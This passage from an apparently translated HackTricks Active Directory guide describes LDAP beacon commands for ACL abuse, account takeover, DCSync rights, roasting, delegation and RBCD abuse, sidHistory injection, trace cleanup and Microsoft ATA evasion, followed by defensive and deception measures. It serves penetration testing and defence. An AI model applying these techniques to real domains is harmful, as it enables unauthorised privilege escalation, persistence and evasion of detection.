  • get-acl and get-writable --detailed๋Š” DACL์„ ํŒŒ์‹ฑํ•˜์—ฌ trustee, ๊ถŒํ•œ(GenericAll/WriteDACL/WriteOwner/attribute writes) ๋ฐ ์ƒ์† ์ •๋ณด๋ฅผ ๋‚˜์—ดํ•˜๋ฉฐ, ์ฆ‰์‹œ ๋Œ€์ƒ์ด ๋  ์ˆ˜ ์žˆ๋Š” ACL ๊ถŒํ•œ ์ƒ์Šน ํฌ์ธํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ โ€” ๊ถŒํ•œ ์ƒ์Šน ๋ฐ ์ง€์†์„ฑ

  • Object creation BOFs (add-user, add-computer, add-group, add-ou)๋Š” ์šด์˜์ž๊ฐ€ OU ๊ถŒํ•œ์ด ์žˆ๋Š” ์œ„์น˜์— ์ƒˆ principals ๋˜๋Š” machine accounts๋ฅผ ์Šคํ…Œ์ด์ง•ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. add-groupmember, set-password, add-attribute, ๋ฐ set-attribute๋Š” write-property ๊ถŒํ•œ์ด ํ™•๋ณด๋˜๋ฉด ๋Œ€์ƒ ๊ณ„์ •์„ ์ง์ ‘ ํƒˆ์ทจํ•ฉ๋‹ˆ๋‹ค.
  • ACL ์ค‘์‹ฌ ๋ช…๋ น์–ด๋“ค(add-ace, set-owner, add-genericall, add-genericwrite, add-dcsync)์€ AD ๊ฐ์ฒด์˜ WriteDACL/WriteOwner๋ฅผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •, ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ ์ œ์–ด, ๋˜๋Š” DCSync ๋ณต์ œ ๊ถŒํ•œ์œผ๋กœ ๋ณ€ํ™˜ํ•˜์—ฌ PowerShell/ADSI ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ ๋„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. remove-* ๊ณ„์—ด ๋ช…๋ น์–ด๋Š” ์ฃผ์ž…๋œ ACE๋ฅผ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

Delegation, roasting, and Kerberos abuse

  • add-spn/set-spn์€ ์†์ƒ๋œ ์‚ฌ์šฉ์ž๋ฅผ ์ฆ‰์‹œ Kerberoastableํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค; add-asreproastable (UAC ํ† ๊ธ€)๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  AS-REP roasting ๋Œ€์ƒ์œผ๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.
  • Delegation ๋งคํฌ๋กœ๋“ค(add-delegation, set-delegation, add-constrained, add-unconstrained, add-rbcd)์€ ๋น„์ฝ˜์—์„œ msDS-AllowedToDelegateTo, UAC ํ”Œ๋ž˜๊ทธ, ๋˜๋Š” msDS-AllowedToActOnBehalfOfOtherIdentity๋ฅผ ์žฌ์ž‘์„ฑํ•˜์—ฌ constrained/unconstrained/RBCD ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋ฉฐ ์›๊ฒฉ PowerShell์ด๋‚˜ RSAT๊ฐ€ ํ•„์š” ์—†๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

sidHistory injection, OU relocation, and attack surface shaping

  • add-sidhistory๋Š” ์ œ์–ด๋˜๋Š” principal์˜ SID ํžˆ์Šคํ† ๋ฆฌ์— ๊ถŒํ•œ ์žˆ๋Š” SID๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ (์ž์„ธํ•œ ๋‚ด์šฉ์€ SID-History Injection ์ฐธ์กฐ) LDAP/LDAPS๋งŒ์œผ๋กœ ์€๋ฐ€ํ•œ ๊ถŒํ•œ ์ƒ์†์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • move-object๋Š” ์ปดํ“จํ„ฐ๋‚˜ ์‚ฌ์šฉ์ž์˜ DN/OU๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ ์œ„์ž„๋œ ๊ถŒํ•œ์ด ์กด์žฌํ•˜๋Š” OU๋กœ ์ž์‚ฐ์„ ์˜ฎ๊ธด ๋’ค set-password, add-groupmember, ๋˜๋Š” add-spn์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ์ข๊ฒŒ ๋ฒ”์œ„ ์ง€์ •๋œ ์ œ๊ฑฐ ๋ช…๋ น๋“ค(remove-attribute, remove-delegation, remove-rbcd, remove-uac, remove-groupmember, ๋“ฑ)์€ ์—ฐ์‚ฐ์ž๊ฐ€ ์ž๊ฒฉ ์ฆ๋ช… ๋˜๋Š” ์ง€์†์„ฑ์„ ์ˆ˜์ง‘ํ•œ ํ›„ ์‹ ์†ํ•˜๊ฒŒ ๋กค๋ฐฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ํƒ์ง€ ํ”์ ์„ ์ตœ์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค.

AD -> Azure & Azure -> AD

Page not found - HackTricks Cloud

๋ช‡ ๊ฐ€์ง€ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ์–ด์ฑ…

์ž๊ฒฉ ์ฆ๋ช… ๋ณดํ˜ธ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”.

์ž๊ฒฉ ์ฆ๋ช… ๋ณดํ˜ธ๋ฅผ ์œ„ํ•œ ๋ฐฉ์–ด ์กฐ์น˜

  • Domain Admins ์ œํ•œ: Domain Admins๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—๋งŒ ๋กœ๊ทธ์ธํ•˜๋„๋ก ์ œํ•œํ•˜๊ณ  ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์—์„œ์˜ ์‚ฌ์šฉ์„ ํ”ผํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.
  • ์„œ๋น„์Šค ๊ณ„์ • ๊ถŒํ•œ: ์„œ๋น„์Šค๋Š” ๋ณด์•ˆ์„ ์œ„ํ•ด Domain Admin(DA) ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ์ผ์‹œ์  ๊ถŒํ•œ ์ œํ•œ: DA ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ์ž‘์—…์˜ ๊ฒฝ์šฐ ์ง€์† ์‹œ๊ฐ„์„ ์ œํ•œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Add-ADGroupMember -Identity โ€˜Domain Adminsโ€™ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

๋””์…‰์…˜(Deception) ๊ธฐ์ˆ  ๊ตฌํ˜„

  • ๋””์…‰์…˜ ๊ตฌํ˜„์€ ๋ซ(์˜ˆ: ๋งŒ๋ฃŒ๋˜์ง€ ์•Š๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋‚˜ Trusted for Delegation์œผ๋กœ ํ‘œ์‹œ๋œ ๊ณ„์ •์„ ๊ฐ€์ง„ ๋ฏธ๋ผ ์‚ฌ์šฉ์ž ๋˜๋Š” ์ปดํ“จํ„ฐ)์„ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์ ‘๊ทผ๋ฒ•์—๋Š” ํŠน์ • ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์‚ฌ์šฉ์ž ์ƒ์„ฑ ๋˜๋Š” ๊ณ ๊ถŒํ•œ ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.
  • ์‹ค๋ฌด ์˜ˆ์‹œ๋Š” ๋‹ค์Œ ๋„๊ตฌ ์‚ฌ์šฉ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค: Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose
  • ๋””์…‰์…˜ ๊ธฐ์ˆ  ๋ฐฐํฌ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ Deploy-Deception on GitHub์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋””์…‰์…˜ ์‹๋ณ„

  • ์‚ฌ์šฉ์ž ๊ฐ์ฒด์˜ ๊ฒฝ์šฐ: ๋น„์ •์ƒ์ ์ธ ObjectSID, ๋“œ๋ฌธ ๋กœ๊ทธ์˜จ, ์ƒ์„ฑ ๋‚ ์งœ, ๋‚ฎ์€ ์ž˜๋ชป๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์‹คํŒจ ํšŸ์ˆ˜ ๋“ฑ์€ ์˜์‹ฌ์Šค๋Ÿฌ์šด ์ง€ํ‘œ์ž…๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜ ์ง€ํ‘œ: ์ž ์žฌ์  ๋ฏธ๋ผ ๊ฐ์ฒด์˜ ์†์„ฑ์„ ์‹ค์ œ ๊ฐ์ฒด์™€ ๋น„๊ตํ•˜๋ฉด ๋ถˆ์ผ์น˜๊ฐ€ ๋“œ๋Ÿฌ๋‚  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. HoneypotBuster์™€ ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์ด๋Ÿฌํ•œ ๋””์…‰์…˜ ์‹๋ณ„์— ๋„์›€์„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํƒ์ง€ ์‹œ์Šคํ…œ ์šฐํšŒ

  • Microsoft ATA ํƒ์ง€ ์šฐํšŒ:
  • ์‚ฌ์šฉ์ž ์—ด๊ฑฐ ํšŒํ”ผ: ATA ํƒ์ง€๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด Domain Controller์—์„œ ์„ธ์…˜ ์—ด๊ฑฐ๋ฅผ ํ”ผํ•ฉ๋‹ˆ๋‹ค.
  • ํ‹ฐ์ผ“ ๊ฐ€์žฅํ™”: ํ‹ฐ์ผ“ ์ƒ์„ฑ์— aes ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด NTLM์œผ๋กœ ๊ฐ•๋“ฑ๋˜์ง€ ์•Š์•„ ํƒ์ง€๋ฅผ ํšŒํ”ผํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.
  • DCSync ๊ณต๊ฒฉ: Domain Controller์—์„œ ์ง์ ‘ ์‹คํ–‰ํ•  ๊ฒฝ์šฐ ๊ฒฝ๋ณด๊ฐ€ ๋ฐœ์ƒํ•˜๋ฏ€๋กœ ๋น„๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ